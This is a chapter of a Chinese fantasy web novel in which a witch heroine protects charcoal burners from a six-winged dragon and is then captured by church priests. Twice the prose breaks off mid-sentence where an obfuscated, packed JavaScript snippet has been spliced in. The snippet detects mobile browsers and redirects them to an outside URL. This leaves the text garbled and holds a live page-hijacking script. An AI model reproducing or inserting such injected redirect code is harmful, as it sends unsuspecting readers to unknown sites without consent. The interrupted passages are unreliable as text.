而对于一位大女巫来说，爬山下河都不是什么大问题。 真正的问题在于—— “啊啊啊啊啊！哪来的鬼啊！”宁三箴一下子蹿上了陆雪莹的背，看着远处森林里走出的几个诡异黑影。 这种世界不是应该只有幽灵之类的存在吗？ 瑟琳抬手就是一个神术，圣光照亮了阴影遍布的灌木丛，也点亮了那几个诡异黑影。 宁三箴这才发现，那并不是什么鬼，而是几个脸颊黢黑、麻布衣上也布满了黑灰与烟尘痕迹的人。 这群人有男有女，正背着一筐又一筐的黑炭，一脚深一脚浅地从泥泞的丛林深处走出来，其中几人手里还提着生锈的镰刀，想必是为了方便在灌木丛里开道。 “别害怕啦。”简拍了拍宁三箴的后背，“是烧炭人。他们的工作需要从森林伐取木材，因此炭窑一般都建在森林里。你知道的啦，这种工作就是会烧得满脸灰，远远看去确实非常吓人。” 怪不得叫做“魔鬼森林”，是因为打猎的贵族路过，被这里烧炭的山人吓到，以为是见到了魔鬼和提着镰刀的死神吗？ 那些烧炭人远远避开了赶路的宁三箴一行人，走在泥泞的小道上。 看样子是很怕冒犯到她们。 “他们是要去集市上卖炭吧？”瑟琳叹了口气，翻开魔法书，对着那些卖炭人一点，他们的脸和衣着瞬间变得整洁。 “这样，或许能在集市上拿个好摊位。”瑟琳收起魔法书。 那群人却好像见到了什么可怕的魔鬼一样，头也不回地捂着脸向森林外快跑。 “这……”洛里斯有些不忿。 “魔法是神明的领域。”陆雪莹倒是很感慨的样子，“在他们眼中，瑟琳冒犯了神明，这与魔鬼有什么区别？” “好在他们的知识水平还够不上去教堂告状，长久生活在森林中的他们会害怕被森林女巫报复。”陆雪莹耸了耸肩，打开水壶喝了口，“习惯就好。” “不过我倒是有一个问题。”她看向瑟琳，“为什么你施展神术的时候从来不需要任何介质，但是施展魔法的时候却需要借助魔法书呢？难道因为是从牧师转职的，所以有限制？” 她这完全是在根据平时和宁三箴玩的游戏情形瞎猜。 不过倒也不算猜错。 “所有魔法都需要口诀来调动魔力。”瑟琳点点头，“我神术口诀背得比较熟，所以都能很快念出。但是很多魔法口诀记得不太清晰，而且魔法的口诀也比神术更加复杂，所以施术的同时需要翻阅魔法书来辅助。” 意思就是说魔法口诀记不住所以需要临场翻书。 敢情这本魔法书不是施法介质，而是小抄啊。 陆雪莹顿时觉得瑟琳施放魔法的时候书页飞舞的样子没有那么神秘帅气了。 “那宁……” “所以前辈很厉害！”瑟琳眼中充满了敬仰，“居然连旧日重现这种能让整栋房屋恢复原状的魔法都可以做到瞬间施放。平时一定做了很大量的练习和实践吧？” 陆雪莹看着宁三箴，眼里全是姐妹平时和你一起玩，你居然在家偷偷学习的震惊。 宁三箴尴尬地摸了摸头：“啊哈哈。” 她能说其实她的施法原理和这个世界根本不一样吗？只要她想得到，只要周围的人相信她能做到，她就能将想象转化为现实。 从这个角度来说，在她这里，魔法是想象的艺术。 她不禁想到，如果万界之门的运作原理仅仅是这样，那么为什么陆雪莹刚来到这个世界的时候可以开发出把她当WiFi使用的办法？那时她对于万界之门怎么用还一头雾水，更别提把自己当WiFi这么天才的想法了。 如果说陆雪莹本来就觉得可以把她当WiFi用，那就更离谱了。她在这位发小眼中到底个是什么形象？ 所以，万界之门的用法应该不仅仅只限于让她通过扮演强大的人物不断蓄能这一点。 宁三箴又想到了自己最初穿越的起因。 穿越也是万界之门的用法。 那她岂不是都不用赶路就可以直接在这个世界的东南西北跳来跳去？ 这个想法只是在她脑海中闪烁了一下就消失了。毕竟穿越来这个世界就消耗了她5%的能量，谁知道带的人更多或者距离的远近会对能耗造成怎样的影响呢？她可不想因为懒就消耗掉自己辛辛苦苦攒的4%能量。 毕竟后面还有一场讨伐恶龙的大仗要打。 话又说回来，难道讨伐巨龙就是她在这个世界的主线任务吗？ 这世界看上去也没有什么别的威胁了。 不愧是新手任务啊，就是简单。 宁三箴美滋滋地想着。 之前巨龙投影给她们带来的压迫感被她完全抛在脑后。 魔鬼森林里满是大大小小的炭窑。 这些炭窑如同贵族名贵烟头掸下的火星，将林间大地烫出一个个黑灰的坑洞，坑洞之中，仍有留守的山民在用长杆翻捡黑炭，随之喷涌而出的火星和黑灰像是囊肿中挤出的脓水，喷涌而出，将那山民浇个透彻。 原本应当充满清新湿润气息的森林，如今被黑灰的烟尘所笼罩，呼吸间都是浓郁的、火烧一般的气息，空气中的烟气凝成黑炭，又沉又重地压在了嗓子眼。 对于常年在这种环境中工作的山民，他们的健康状况可想而知。不少人都在咳嗽，仿佛要把内脏都随着那些炭块吐出。他们的腹部急速地鼓动着，那因为炎热的环境而裸露的上身没有多少肉，根根分明的肋骨伴随着呼吸的起伏清晰可见。 洛里斯凝视着那些黝黑的皮肤和裸露的肋骨，莫名地回忆起了年幼时偷溜进厨房看见的，悬挂在墙面上的烟熏猪肋排。暗红的组织上覆盖着一层薄薄的盐晶，与之相伴的，弯刀一样的骨骼让人想起山川大地的起伏。 彼时和此时给他带来的震撼相同。但他私以为，那猪肋排看起来比眼前的山民健康得多。 忍无可忍的瑟琳再一次掏出了魔法书。 洛里斯将她的动作压下：“这很危险，小姐，会引来教廷的关注的。您忘了您是从教廷……” “要我对这种场景无动于衷……”瑟琳攥紧了书页的边缘，指节泛白，“那就是白从教廷逃出来了。” 宁三箴却将她面前的手拂开：“去吧。我们会陪你一起逃的。” “我知道你很感动，但也不至于掉眼泪吧。”宁三箴感到手背的皮肤一阵湿润。 然而瑟琳抬起头，她的眼睛中虽然闪着光，却没有任何湿润的表现。 又是几滴水掉在了宁三箴手背上。 一阵狂风刮过，空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182874|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气变得湿润，混合着烟尘，让森林里升起灰蒙蒙的雾霭。 要下雨了？ 宁三箴搓搓手背，感觉那部分有些发痒，她想招呼瑟琳继续，却发现后者正在抬头望天，碧湖一般的瞳孔中，倒映出了巨大的阴影。 什么东西？ 宁三箴也抬头望去，看到了她只在地球的魔幻电影中才能看到的生物——一条背生六翼的巨龙。 它的皮肤质感看上去像宁三箴那个世界的恐龙、蜥蜴和蛇皮混合的产物，鳞片覆盖着光滑的皮肉，上面隐隐有花纹显现，它棕黄如琥珀的瞳孔是如此巨大，里面仿佛燃烧着不息的火焰。即便在相隔几百米的高空，地上的人们也能清晰地看见它唇畔一根根锋利的锯齿，以及从喉管中喷吐出的白息。 它张开无毛的背翼，翱翔在天际，那三对翅膀就已经足够遮挡半个天空。 巨龙本体给人带来的震撼远强于之前所谓的“投影”。 “是巨龙！”简站了起来，握紧了自己手中的木棍，面色凝重，“在我们还没有准备的时候，它就自己送上门来了。” 宁三箴生怕她化身战斗狂要跟巨龙决一死战，连忙提醒她：“这里还有普通人。更何况，它飞在天上，我们怎么打？” 简也只看了那巨龙几眼，眼里带着几分不甘和厌恶：“我去疏散大家。” 只希望它不要注意到这片黑漆漆的森林吧。宁三箴想着。 巨龙似乎在徘徊着寻找什么东西，在高空盘旋了一圈又一圈，最后朝着魔鬼森林俯冲直下。 还真是怕什么来什么！宁三箴让其他人疏散所有人先走，打算自己留下殿后。 4%的能量，应该能挡一下子的吧？ 宁三箴不确定地想着，心里全是面对庞然大物的恐惧。 所以她到底是为什么才干上这份工作的啊！早知道就不见钱眼开辞职接手事务所了，她哪知道事务所的工作每天都这么刺激。 瑟琳冰凉的手握住了她的：“我陪你留下，前辈。” “毕竟对于这种家伙，魔法攻击才是最有效的啊。” 她身侧的魔法书再次翻动，一枚流光溢彩的神术弹就这样飞射了出去。 巨龙扭身躲开了这一突然袭击，但他俯冲的速度明显加快了，巨口那种溢出了些许黑色的火焰。 宁三箴几乎抓狂，心想：“你留下来就是为了帮我挑衅它的吗！我本来还想着虚晃两枪就跑路来着。” 吐槽归吐槽，她还是沉下心来观察周围的地形，寻找林地作战的最佳环境。 周围都是窑洞和炭火……她四下观察，窑洞周围的林木大多都被砍伐，只留下树桩…… 等一下，这些树桩为什么在冒烟？ 随着巨龙的到来，平地乍起狂风，暴雨像是豆子噼里啪啦地从天上砸下来，气氛莫名压抑，作为魔法师，宁三箴能感受到周围的魔力在狂乱地流动。 自从宁三箴认领了魔法师这个身份，能够观察和运用魔力的流动后，她就很认真地研究了一下这个世界的魔力。 结论是，这个世界的魔力很贫乏，如果不是魔法师或者教会牧师蓄意调动自身魔力，周围的空气中很难感受到魔力的流动。 所以，现在宁三箴尚未施法，瑟琳刚刚施法完毕，所以她能感受到的狂乱的魔力，全部来源于巨龙。 她们已经身处巨龙的领域之中。 16. 第十六章 包含巨龙魔力的雨水可能会让不曾接触过魔法的普通人受到损害，巨龙魔法形成的场域也会让那几个没有接受过魔法训练的同伴难以应对。 “瑟琳，去帮她们吧。这里有我一个人就够了。”一番观察后，宁三箴下了判断。 巨龙距离森林越来越近，它喉间的火焰已经喷涌而出。 “可是，前辈……” 巨龙的火焰有些特殊，在这倾盆暴雨之中好不减弱，偌大的火球砸在林间，火焰熊熊燃起，不远处撤退的人群中已经能听到惊呼和尖叫。 “她们应对不了这些。”宁三箴指着那撤退的队伍，“她们需要你。” 瑟琳紧紧抓着宁三箴的手一点一点地松开了，她深深地朝着宁三箴看了一眼，心中已下定决心，等大家脱险之后，一定要找人回来救她，哪怕是以被教廷抓回去为代价。 少女紧紧地抱了一下宁三箴，随后在暴雨中朝着那些需要她的人群奔去。 只剩下她和巨龙了。 宁三箴的手在颤抖。 她不是不害怕的。 她怎么可能不害怕呢？ 一个普通世界长大的女孩，在一个月前甚至还没见过魔法这种玄幻的东西，如今却要使用魔法去和巨龙作战。 她攥紧了兜帽的边沿，一层防御魔法在她面前展开。就在刚刚，万界之门又显示有能量入账，来自归队的瑟琳和简、洛里斯。这多少给了她一些底气。 她不知道为什么巨龙会直接朝着魔鬼森林俯冲下来，难道是这里有它感兴趣的东西？可是当简带着周围的烧炭人离开的时候，巨龙也没展现出要追击它们的意思，那些火焰与其说是在妨碍他们，不如说只是巨龙酝酿火焰时的副产物。 也就是说，它冲下来不是为了大开杀戒或者进食之类的原因。 宁三箴站到了林木丛生的地方，这地方不适宜降落，巨龙悬停在半空中，瞪着一双巨眼和它对峙。 它在找什么？ 它有智慧吗？能沟通吗？ 在这恐怖的庞然巨物前，宁三箴很庆幸自己没有大脑一片空白，反而还想起了这些有的没的。 她用余光瞥了一眼同伴们离开的方向。 就算巨龙看上去没有打开大开杀戒的意图，但是谁知道它会不会突然转性？简曾经告诉过她，巨龙是一种性情难以捉摸的生物，不能用人类的思维去判断它。 那么，直到同伴们和那些烧炭人抵达安全的地方之前，宁三箴都得打起精神和这头巨龙周旋。 毕竟她可已经是整个队伍里最强大的人了啊。 强大的人就应该承担更多的责任。宁三箴记得这是姥姥曾经给她讲过的一个寓言故事里蕴含的道理。 “至于这个道理是否正确，是否需要遵守，你长大之后会有自己的判断的。”当时，姥姥是这样和她说的。 她至今仍觉得这个道理是正确的。至于……姥姥……她留下这个万界之门，是希望自己好好践行这个道理吗？ 宁三箴并不清楚，但巨龙的攻击已经近在眼前。 身体反应比意识更快，她脚下魔法阵亮起，向后急退几里，跳到了一棵古树粗壮的树枝上，而在她跳开的同时，巨龙喷涌的火焰就已经扫荡了她原先所在的地方，无数年幼的林木就这样化为了焦炭。 宁三箴背后沁出了冷汗，赶紧在身上再叠了几层防御魔法。 如果一直倒退，将巨龙引向相反的方向，不也可以起到吸引视线的作用吗？宁三箴正这样想着，但巨龙的反应打断了她美好的幻想。 它喉间溢出白气，一道冷彻心扉的寒意从宁三箴背后拂过。 她向前连跳几步转头望去，发现身后已经筑起了一道由暴雨铸就的冰霜高墙。 什么冰火两重天啊！宁三箴在心底尖叫，神话里别的龙都是单灵根，偏偏你巨龙兄是个极品冰火双灵根，这游戏平衡是否有哪里不对啊！ 宁三箴凭着出神入化的跑路魔法向着四面八方乱窜，最后都被巨龙的冰霜城墙给挡了回来。 没有真的伤到我，却在阻止我离开。宁三箴想，怎么感觉它才像是那个留在这里拖时间的人啊？ 宁三箴有些不确定了，难不成这巨龙还有同伙不成？ 她脑洞大开，如果真有的话……离开的伙伴们不就危险了？ 她心有所感，朝着远处撤离的大部队的方向望去，那里正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182875|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆发出一道耀眼的圣光，看上去是在发生一场激烈的战斗。 该死！它有智慧！我们还被它摆了一道。 宁三箴气急败坏地挑出最有攻击性的魔法朝着巨龙扔去。 早知道就让陆雪莹把那十斤炮仗留下来了，配合上这里满地的窑洞，高低把巨龙炸个对穿。 但“早知道”没什么用。 巨龙身形巨大，动作却相当灵活，宁三箴使用的所有远程攻击魔法都只能堪堪擦着它飞过，堪称龙体描边大师。 宁三箴气不过，她玩枪战游戏的时候可是拿到过“神枪手”称号的。 在巨龙的前后阻击下，她闪避的身法越发灵活，发出的远程攻击魔法也越来越精准，甚至花样百出。 在她学会用不同的魔力流动掩盖自己真实的施法倾向，终于用佯攻击中巨龙时，它仰天一声长啸，目光朝着人群撤离的方向望去。 它的攻击暂停了，仿佛在等待着什么。 “游戏该结束了。”一道威严如洪钟的声音从四面八方传来。 随即森林各个方向升起耀眼的白金色圣光，磅礴的神圣气息自那光柱中涌出，那是何等壮丽的景象，仿佛神明驾临人间。 “天国近了，你们应当悔改。” 几个身穿白色圣袍的神甫自密林深处走出，他们的手中举着散发着微光的六芒星。为首的那个神甫面带微笑，手中的六芒星最亮，散发着神秘的气息。 “承认他们的罪，但受他的洗。” 神甫举着六芒星朝着密林间点了几下，散发着圣洁白光的神术阵在幽暗的森林深处显现，几道光柱结结实实地结合成了一个八角笼的形状，朝着地面压来。 “你们要结出果子来，与悔改的心相称。” 巨龙拍打着翅膀，眼中流露出怨恨与憎恶，痛苦地嚎叫着朝天际飞去。 “忏悔吧。” 那神甫脸上带着慈和的微笑，眼底却是一片寒霜似的冰冷，让人想起夏夜从池塘边滑过的毒蛇，又或者是幽夜里报丧的乌鸦。 “女巫。” 那神圣的八角笼将宁三箴狠狠地压在了地上。 从一开始，就是冲着她来的。